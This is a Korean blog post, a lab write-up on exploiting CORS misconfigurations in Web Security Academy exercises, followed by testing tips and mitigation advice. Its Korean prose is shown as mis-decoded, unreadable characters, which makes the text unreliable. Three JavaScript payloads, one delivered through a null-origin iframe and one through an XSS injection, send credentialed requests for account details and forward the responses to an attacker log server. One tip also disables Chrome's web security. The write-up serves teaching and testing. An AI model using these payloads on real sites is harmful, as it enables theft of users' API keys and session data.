ν°μ€ν 리 λ·°
κ°μ
μλ‘ λ€λ₯Έ λ κ°μ μΉ μ΄ν리μΌμ΄μ μ΄ μ ν μμ΄ μνΈμμ©ν μ μλ νκ²½μ 보μμ μμ νμ§ μλ€ νλ¨λμ΄ λ±μ₯ν κ²μ΄ CORSμ SOPμ λλ€.
μ°μ CORSμ μ£Όμ λͺ©μ μ APiνκ²½μμ μ£Όλ‘ μ¬μ©λλλ° λΈλΌμ°μ <-> μλ² μλ‘ κ°μ μμ ν μμ² λ° μ μ‘μ νμ¬ λ€μν κ³³μμ κ°μ Έμ€λ 리μμ€κ° μ΅μν μμ ν λ°μ΄ν°λΌλ κ²μ 보μ₯λ°κΈ° μν¨μ
λλ€. SOP(Same Origin Policy)λ corsμ λ€λ₯΄κ² λμΌν μΆμ²μμλ§ λ¦¬μμ€λ₯Ό 곡μ νλ€λ κ²μ μλ―Ένλλ° μ΄λ λ무 μ νμ μ΄λΌ μλΉμ€ μ°¨μμμ λ무 μ νμ μ΄λΌ corsκ° λ±μ₯ν κ²μ
λλ€.
νμ§λ§ μ¬μ©μλ€μ νΈμλ₯Ό μν΄ μ겨λ CORS μ μ±
μ λν΄ λ무 μ μ°νκ² μ€μ μ νκ² λ κ²½μ° μΉ μ΄ν리μΌμ΄μ
μ μ μμ μΈ νλ¦μ μ
μ©νμ¬ ν μ¬μ©μμ κ°μΈμ 보λ₯Ό νμΉκ±°λ μΉ¨ν΄λ₯Ό μΌμΌν¬ κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€.
μ 3μ λλ©μΈμ νμ©νκ³ μλμ§ νμΈνκΈ° μν΄μ μμ² ν¨ν·μ ν€λλ₯Ό λΆμν΄λ³Ό νμκ° μμ΅λλ€.
GET / HTTP/1.1
Host: www.example.com
Origin: Accept Domain
Origin ν€λμ νμ©νλ λλ©μΈμ΄ μ ν μνλ‘ μμ²μ΄ λμ΄κ°κ² λλ©΄ μλ΅ μλ²μμλ
HTTP/1.1 200 OK
Access-Control-Allow-Origin: Accept Domain OR *(All allow)
Access-Control-Allow-Credentials: true
μ ν¨κ» μμ²λ μ 3μ λλ©μΈμ΄ νμ©λμ΄ μλ κ²μ νμΈν μ μμ΅λλ€. μ΄λ κ² λ κ²½μ° ν΄λΉ Accept Domainμ λΆμ¬λ μ£Όμμμ λμ μΉ μ΄ν리μΌμ΄μ μ μ½ν μΈ μ μ‘μΈμ€κ° κ°λ₯νλ€λ κ²μ μλ―Έν©λλ€.
무λΆλ³ν μ 3μ λλ©μΈμ μ‘μΈμ€λ₯Ό κ³Όλνκ² νμ©ν κ²½μ° λ°μ κ°λ₯ν λ¬Έμ λ€μ
- CSRF(Cross Site Request Forgery)
- XSS(Cross Site Scripting)
- Sensitive Data Exposure
λ±
λ§μ½ μ μμ μΈ μ¬μ©μκ° λμ νμ΄μ§μ λ‘μ§μ λΆμνμ¬ ν΄λΌμ΄μΈνΈ μΈ‘μ νμλ₯Ό λ³μ‘°μν¬ μ μλ μ€ν¬λ¦½νΈλ₯Ό λ©μΌλ‘ μμ²νκ² λλ©΄ μ¬μ©μλ ν΄λΉ λ©μΌμ μ΄λ μ 곡격μκ° μ§μ ν΄λ μ€ν¬λ¦½νΈ λ‘μ§μ΄ μ΄λ νμ΄μ§μ μ건 νλ¦λλ‘ μ€νμ΄ λμ΄λ²λ¦΄ κ°λ₯μ±μ΄ μ‘΄μ¬ν©λλ€.
μ λ°©λ² μΈμλ λμ μλ²μ μ μ± μ€ν¬λ¦½νΈκ° μ½μ λ νμΌμ μ λ‘λνκ±°λ, μμ μ μ μ± μΉ μλ²λ₯Ό λ‘λνλλ‘ νμ¬ λ°μ¬λ λ‘κ·Έμ μν΄ μ£Όμ μ 보λ₯Ό νμ·¨ν κ°λ₯μ±λ λ°°μ ν μ μμ΅λλ€.
λ§μ½ λμ μλ²μ μνΈμμ©ν μ μλ μ μ μ‘°κ±΄μ΄ μ νμ μ΄λΌλ©΄ μ΄λ©μΌμ μ΄λν΄λ μλ‘ λ€λ₯Έ μΆμ²λΌ νλ¨νκΈ° λλ¬Έμ μμ²μ μ¬μ μ λ§μμ ν κ³ μ μ± νμ μ체λ₯Ό μ§μ λ λλ©μΈ νν΄μλ§ μλνλλ‘ λμ΄ ν μ¬μ©μλ€μ λ°μ΄ν°λ₯Ό μΉ¨ν΄νκΈ° νλ€μ΄μ‘μ κ²λλ€.
μμ² λ°©μ
1. κΈ°λ³Έ μμ²(simple request)
GET, HEAD, POSTλ₯Ό μ¬μ©νκ³ POST μμ² μ -> Originν€λλ₯Ό ν¬ν¨
λ€λ₯Έ μΆμ²μ 리μμ€ μμ²(HTTP) -> μμ² ν€λμ Originμ΄λΌλ μμ μ μΆμ² μ£Όμμ μ¬μ©ν λ©μλλ₯Ό ν¨κ» μμ² -> μλ²κ° μμ²μ λ°μΌλ©΄ "Access-Control-Allow-Origin"μ μ κ·Όμ΄ νμ©λ μΆμ²λ₯Ό νμν΄μ μλ΅ -> μλ΅μ λ°μ λΈλΌμ°μ λ μμ μ΄ λ³΄λλ Originκ³Ό Access-Control-Allow-Originμ λΉκ΅νμ¬ μμ μ originμμ μμ²ν μ μλ€λ©΄ μ μ‘μ νκ³ λΆκ°λ₯νλ€λ©΄ μλ¬λ₯Ό λ°μ
2. μλΉ μμ²(preflight)
PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH λ°©μμ μ¬μ©ν κ²½μ°
μ΄λ»κ²? -> XMLHttpRequest λλ FetchAPIλ₯Ό ν΅ν΄ νΈμΆ
μμ² μ ν λ²μ 보λ΄μ§ μκ³ μμ νμ§ μ¬μ μ νμΈνκΈ° μν΄ μλΉ μμ²μ΄λΌ λΆλ¦¬λ Preflightλ₯Ό 보λ΄λλ°. μ΄μμλ μλ²κ° νμ© μ¬λΆλ₯Ό κ²°μ νκΈ° μν OPTIONS λ©μλκ° μ¬μ©λ©λλ€.
μλΉ μμ²μ μλ²κ° λ°μΌλ©΄ νμ¬ μ΄λ€ κ²λ€ νμ©νκ³ κΈμ§νκ³ μλμ§μ μ 보λ₯Ό μλ΅μ λ΄μμ λ€μ 보λ΄μ€λ€. κ·Έ ν μμ²κ³Ό μλ΅μ λΉκ΅νμ¬ μ΅μ’ μ μΌλ‘ λ³Έ λ°μ΄ν°λ₯Ό 보λ΄κ² λ©λλ€.
*λ§μ½ WAFλ¨μμ OPTIONSλ₯Ό μ°¨λ¨νκ³ μλ€λ©΄ λ¬λΌμ§
λ§μ½ Preflight λ°©μμμ μμ²μ λν μ μ± μλ° μλ¬κ° λνλμ§ μκ³ HTTP 200μΌλ‘ λμμμΌλ λ κ² μλλκ³ νλ¨νλ κ²½μ°κ° μμ§λ§ μλͺ»λ μκ°μ΄λ€. CORS μ μ± μλ°μΌλ‘ μΈν μλ¬λ!= μλΉ μμ²μ μ±κ³΅ μ¬λΆμ μκ΄μ΄ μμ΄ κ²°κ³Ό κ°μ 보μ¬μ£Όλλ μ 보μ¬μ£Όλλ κ° μ€μν κ²μ λλ€.
μλ΅ ν€λμ λ ΈμΆλ Access-Control-Allow-Origin κ°μ΄ " * "μ΄μΈμ Origin:μ μμ μ£Όμκ° μλ΅ κ°μΌλ‘ λμΌνκ² μ‘΄μ¬νλ€λ©΄ νμ©λ κ²μΌλ‘ νλ¨νλ©΄ λ©λλ€. μ¦ μμ²μ΄ μ€ν¨νμ¬ HTTP 200μ΄ μλ λ€λ₯Έ μλ΅ μ½λλ₯Ό λ°λλΌλ Access-Control-Allow-Originμ κ°μ΄ μ λλ‘ λ€μ΄κ° μλ€λ©΄ μ μ± μλ°μ΄ μλλλ€.
μμ κ°μ΄ 2κ°μ§ λ°©μμ μ¬μ©νμ¬ CORSμμ²μ ν μ μμ΅λλ€. λ³΄ν΅ κΈ°λ³Έ μμ²μΈ Simple Request λ°©μμ μ¬μ©νκ³ μμ΅λλ€.
CORS Misconfiguration(Basic)
μμ νμ§ μμ CORS μ μ± μΌλ‘ μΈν΄ ν μ¬μ©μλ€ λλ κ΄λ¦¬μμ λ°μ΄ν°λ₯Ό λ ΈμΆλ μ μλ€λ κ²μ ν μ€νΈν΄λ³΄λλ‘ νκ² μ΅λλ€.
Burp Suiteμ νλ‘μλ₯Ό νμ±νν΄λμ μνμμ wienerλΌλ μΌλ° μ¬μ©μμ κ³μ μ ν΅ν΄ λ‘κ·ΈμΈμ μ§νν©λλ€.
λ‘κ·ΈμΈμ μννκ³ λλ©΄ History νμ μμ²κ³Ό μλ΅ κ°μ μ£Όκ³ λ°μ λ°μ΄ν°μ€. μ¬μ©μμ IDμ Passwordλ₯Ό μ λ ₯νλ©΄ μλ² μΈ‘μμ κ·Έμ λ°λ₯Έ apikey κ°μ ν λΉν΄μ£Όκ³ μμ΅λλ€.
ν΄λΉ ν¨ν·μ Reapeterλ‘ μ‘μμ Origin ν€λλ₯Ό μΆκ° ν μμ λλ©μΈ μ£Όμλ₯Ό μ λ ₯νμ¬ μ 3μ λλ©μΈμ΄ μ‘μΈμ€κ° κ°λ₯νμ§ νμΈν΄λ³΄λ©΄
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
μ 2κ°μ ν€λλ₯Ό μλ΅μ λΆμ¬μ€μΌλ‘μ¨ https://example.com λλ©μΈμ΄ 리μμ€λ₯Ό 곡μ ν μ μλλ‘ νμ©νλ€λ κ²μ μλ―Έν©λλ€.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac3d1f591eaf55da80fe0790005a0018.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
XMLHttpRequestλ₯Ό ν΅ν΄ cors(κ΅μ°¨ μΆμ²)λ₯Ό μμ²μ νκ² λλλ° μ¬κΈ°μ CORS ν€λμ νμ©νκ³ μ νλ λλ©μΈμ΄ μ§μ λμ΄ μμ΄μΌ ν©λλ€. XHRμ μλ²μ μνΈμμ© νκΈ° μν΄ μ¬μ©λλ κ°μ²΄λ‘ XML μ΄μΈμ λͺ¨λ λ°μ΄ν°λ₯Ό λ°μμ¬ μ μμ΅λλ€.
μμ κ°μ μλ°μ€ν¬λ¦½νΈλ₯Ό μμ±νμ¬ λμ μΉ μ΄ν리μΌμ΄μ μ Formμ΄λ 곡격μμ μλ²μ μ μ₯ν΄ λκ³ ν μ¬μ©μλ€μ΄ μ€ν¬λ¦½νΈκ° μ½μ λ νμ΄μ§λ‘ μ κ·Όνλλ‘ λκΈ°ν©λλ€.
λ§μ½ λ‘κ·ΈμΈμ μνν κ΄λ¦¬μκ° ν΄λΉ μ€ν¬λ¦½νΈλ₯Ό νμΈνκ² λ κ²½μ° req.openμ μ§μ λ μ£Όμλ₯Ό μλ λ‘λνκ² λμ΄ ν€ κ°μ΄λ μΈμ κ°μ΄ μμ°μ€λ½κ² 곡격μ μλ²μ λ‘κ·Έλ¨μ κΈ°λ‘λκ² λ©λλ€.
CORS Misconfiguration(Trust null)
κ΅μ°¨ μΆμ² 리μμ€ μ κ·Όμ μ΄λ μ λ μ ννκΈ° μν΄ μ λ’°ν μ μλ λλ©μΈλ§ μ§μ νλ κ²½μ°κ° λ€μ μ‘΄μ¬νμ§λ§ Origin ν€λμ μ΄λ€ κ°λ€μ΄ λ€μ΄κ° μ μλμ§ μ νν νμΈν΄λ³Ό νμκ° μμ΅λλ€.
μ κ³Ό λ§μ°¬κ°μ§λ‘ Origin ν€λμ μμ μ 3 λλ©μΈμ μ λ ₯νμ¬ μμ²μ 보λ΄λ³΄λ©΄ μλ΅ ν€λμ ν΄λΉ λλ©μΈμ μ‘μΈμ€κ° νμ©λμ§ μμλ€λ κ²μ νμΈν μ μμ΅λλ€.
μμ μ 보λ₯Ό ν΅ν΄ Origin ν€λμλ νμ©λλ μ 3μ λλ©μΈ μ 보 μ΄μΈμ "null" κ°μ μ λ ₯λ°μ μ μμΌλ―λ‘ νμ΄νΈλ¦¬μ€νΈ κΈ°λ°μ λλ©μΈ μ μ± κ΄λ¦¬λ§μΌλ‘λ μμ νκ² μ΄μν μ μμ΅λλ€.
Origin: nullμ λΆμ¬ν΄μ£Όλ©΄ μλ΅ κ°μ νμ©λ μμ²μΌλ‘ μ²λ¦¬ν΄μ€λλ€.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://ac8c1f541ee0916580ec22e1004900a7.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://acfe1f301e3c91e2800e22260167001e.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
ν΄λΉ μ€ν¬λ¦½νΈλ₯Ό μ½μ νμ¬ μ¬μ©μλ€μ΄ μ΄λμ ν λκΉμ§ κΈ°λ€λ €μ£Όκ±°λ λ³λμ 곡격μ μλ²μ ꡬμΆνμ¬ μ κ·Όνλλ‘ μμ²μ ν©λλ€.
CORS Misconfiguration(Whitelist+XSS)
λͺ¨λ λλ©μΈ λλ Originμ λΆμ¬λ null μμ±μ λͺ¨λ μ°¨λ¨ν κ²½μ° λλΆλΆμ 보μμ€μ μ μλ£λ κ²μΌλ‘ νλ¨λ©λλ€. νμ§λ§ νμ©νκ³ μλ νμ λλ©μΈ μ€ ν μ·¨μ½μ μ΄ λ°κ²¬λ κ²½μ° 2κ°μ§ μ·¨μ½μ μ μ μ©νμ¬ ν μ¬μ©μμκ² μΉ¨ν΄κ° κ°λ₯ν©λλ€.
νμ¬ μμ λλ©μΈκ³Ό "null" μμ± λͺ¨λ μ°¨λ¨μ νμ¬ μλ΅ κ°μ 곡격μκ° νκ³ μ νλ μΆκ° μ μ± νμκ° λΆκ°λ₯ν©λλ€.
νμ΄μ§ λ‘μ§μ λΆμνλ€ λ³΄λ©΄ μ½ν μΈ μ λν μ‘μΈμ€λ₯Ό νμ λλ©μΈκ³Ό μνΈμμ©νμ¬ μλΉμ€λ₯Ό μ 곡νλ κ²½μ°κ° μ‘΄μ¬ν©λλ€.
νμ΄μ§ λ‘μ§μ λ ΈμΆλ νμ λλ©μΈμ Origin ν€λμ λΆμ¬ν΄λ³΄λ νμ©λ κ²μΌλ‘ 보μ μ‘μΈμ€κ° κ°λ₯ν κ²μΌλ‘ νμΈλ©λλ€.
νμ λλ©μΈμΌλ‘ μ κ·Όνμ¬ ν΄λΉ λ³μμ ν μ·¨μ½μ μ΄ μ‘΄μ¬νλμ§ νμΈν΄λ³΄κΈ° μν΄ XSS μ€ν¬λ¦½νΈ μ½λλ₯Ό μ½μ ν΄ λ³Έ κ²°κ³Ό μ§μ ν΄λ μ€ν¬λ¦½νΈκ° μ€νλλ κ²μ νμΈν μ μμ΅λλ€.
<script>
document.location="http://stock.ac911f391efc913180b0238e00d90092.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://ac911f391efc913180b0238e00d90092.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener()
{location='https://ac301f981e74918380712332014b006f.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
μ·¨μ½ λ§€κ°λ³μμ μ½μ λ μ€ν¬λ¦½νΈκ° μλ κ³³μ κΈ°μ μΌλ‘ ν΄μ 곡격μκ° μνλ μλν¬μΈνΈ μμμΌλ‘ μ¬μ©μλ€μ΄ μ κ·Όν μ μλλ‘ νκ³ μμ² κ°μ 곡격μμ μλ²λ‘ μ μ‘λλλ‘ ν κ²½μ° μ€μ λ νμ΄νΈ 리μ€νΈ κΈ°λ°μ λλ©μΈ μ μ± κ³Ό null κ° λͺ¨λ μ°νν μ μμ΅λλ€.
κ΄λ¦¬μκ° ν΄λΉ μ€ν¬λ¦½νΈλ₯Ό μ΄λνκ² λ κ²½μ° κ΄λ¦¬μμ μμ μ κΆνμ μ μμ μΈ μλ²μ μμ²νλ€κ³ μκ°νμ§λ§ μ§μ λ μ€ν¬λ¦½νΈ νλ¦μΌλ‘ μΈν΄ μ 보λ 곡격μμ μλ²μ μ°νκ² λ©λλ€.
CORS Test 2κ°μ§
첫 λ²μ§Έ λ°©λ²(1)
# curl TEST_Domain -H "Origin: Accept_Domain" -I
νλ‘μ λꡬλ₯Ό ν΅ν΄ μ°μ΄λ΄λ μ μ μμ§λ§ κ°λ¨νκ² curlμ μ¬μ©ν΄ μ½μμμ νμΈμ΄ κ°λ₯ν©λλ€.
λ λ²μ§Έ λ°©λ²(2)
μλ¨μ λ§ν¬λ₯Ό ν΅ν΄ μλν μ€μΊμ΄ κ°λ₯ν©λλ€. κΈ°λ³Έμ μΌλ‘ μ ννκ³ μλ μ μ± λ€μ μ°νλ₯Ό μ§μνλ©° ν μ€νΈ νμΌμ λ΄κΈ΄ μ¬λ¬ λλ©μΈμ κΈ°μ€μΌλ‘ ν μ€νΈκ° κ°λ₯νκΈ°μ νμ λλ©μΈκΉμ§ λͺ¨λ μ§λ¨νκ³ μ νλ€λ©΄ μ μ©ν μ¬μ© κ°λ₯ν κ²μΌλ‘ 보μ λλ€.
λ§μ½ μ·¨μ½ν CORS μ μ± μ΄ νμΈλ κ²½μ° λ‘κ·Έ ννμ μ½μμ λͺ¨λ μΆλ ₯νμ¬ λ³΄μ¬μ€λλ€. κ·Έ νμλ μ΄μ νλ‘μ λꡬλ₯Ό μ¬μ©ν΄μ μλμΌλ‘ κ²μ¦ν΄λ³΄κ±°λ μλν¬μΈνΈμ λ ΈμΆλ λ―Όκ°μ 보λ₯Ό νμ©νμ¬ μλ리μ€λ₯Ό μμ±ν μ μκ² μ΅λλ€.
λ²μΈλ‘ Chrome λΈλΌμ°μ λ₯Ό ν΅ν΄ CORSλ₯Ό ν μ€μ€μ κ°λ°μ λꡬμ Console λ¨μ μλ¬κ° λ°μνλ κ²½μ°κ° μ‘΄μ¬ν©λλ€.
Access to XMLHttpRequest at 'https://example.com/file=.js' from origin 'http://127.0.0.1:8887' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.
μλ¨μμ κ°μ μλ¬ λ¬Έκ΅¬λ₯Ό λ§μ£ΌμΉ μ μλ€. μ΄λ¬ν λ¬Έμ λ λΈλΌμ°μ κΈ°λ°μ 보μ λ°©μμΈ SOP μ¦ λμΌ μΆμ² μ μ±
μ μλ°νκΈ° λλ¬Έμ λ°μν κ²μΌλ‘ μ λ’°ν μ μλ κ²½λ‘κ° μλ file=C:\W λ±μ μ°¨λ¨ν©λλ€.
λν κ°λ°μ λꡬμμ Network -> Header μͺ½ μμμ΄ μμ²ν€λλ₯Ό νμΈν΄λ³΄λ©΄ λΈλΌμ°μ κ° λ‘컬 νμΌμ μ κ·Όνμ§ λͺ»νλλ‘ νκΈ° μν΄ κΈ°μ‘΄μ λΆλ¬λ‘ λ‘컬 κ²½λ‘ -> nullμ²λ¦¬ νκ³ μμ΄ μλλ κ²½μ°κ° μ‘΄μ¬ν©λλ€.
μ΄λ΄λλ Chromeμ νμ₯λκ΅¬μΈ "Allow CORS: Access-Control-Allow-Origin" λ₯Ό μ€μΉν΄λ³΄μκ±°λ ν¬λ‘¬μ΄ μ€μΉλ κ²½λ‘λ‘ μ΄λνμ¬ λ°λ‘κ°κΈ°μ 'μμ± > λ°λ‘κ°κΈ° > λμ .exe μ곡κ°μ --disable-web-security λ₯Ό μΆκ° ν΄λ³΄μκΈΈ λ°λλλ€.
μμ ν CORS μ μ± μ¬μ©
Access-Control-Allow-Origin ν€λμ "null"κ³Ό " * " λͺ¨λλ₯Ό νμ©νλ κ²μ΄ μλ μ μ ν λλ©μΈμ μΆμ²λ₯Ό μμ±ν΄ λͺ μλ λλ©μΈμμλ§ μ κ·Όμ΄ κ°λ₯νλλ‘ ν΄μΌ λ©λλ€. μ¦ νμ©νκ³ μ νλ μ 3μ λλ©μΈμ μ ννκ² λͺ μνμ¬ κ΄λ¦¬νμ§ μκ±°λ μ‘΄μ¬νμ§ μλ μμ λλ©μΈμΌλ‘λΆν° μ‘μΈμ€λ₯Ό μ°¨λ¨ν΄μΌ λ©λλ€.
νμ΄νΈ 리μ€νΈ κΈ°λ°μ λλ©μΈμ λͺ μνκΈ° μν΄
(1) μΉ μλ² μ€μ νμΌμ μΆκ°
(2) λ°±μλ νλ μμν¬μ CORSκ΄λ ¨ μ€μ μ ν΄μ£Όμλ©΄ λ©λλ€.
λ§μ§λ§μΌλ‘ νμ΄νΈλ¦¬μ€νΈ κΈ°λ°μΌλ‘ μμ ν μ μ± μ μ΄λ―Έ μ¬μ© μ€μ΄λΌλ©΄ ν΄λΉ μ 3μ λλ©μΈλ€μ λν΄μλ λ€λ₯Έ μ·¨μ½μ μ λ ΈμΆλμ§ μλλ‘ λ³΄μ μμ€μ μ¬λ € νμ©λ λλ©μΈμ ν΅ν μ μ± νμκ° λΆκ°λ₯νλλ‘ ν΄μ£Όμ μΌ λ©λλ€.
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
Subdomain Takeover μ·¨μ½μ (0) | 2021.04.18 |
---|---|
HTTP Request Smuggling(HTTP Desync Attack) μ·¨μ½μ (1) | 2021.04.17 |
SSRF(Server Side Request Forgery) μ·¨μ½μ (1) | 2021.02.25 |
Session Fixation(μΈμ κ³ μ ) μ·¨μ½μ (0) | 2021.02.21 |
Gophish(Phishing Framework) μ¬μ©λ² (1) | 2021.01.19 |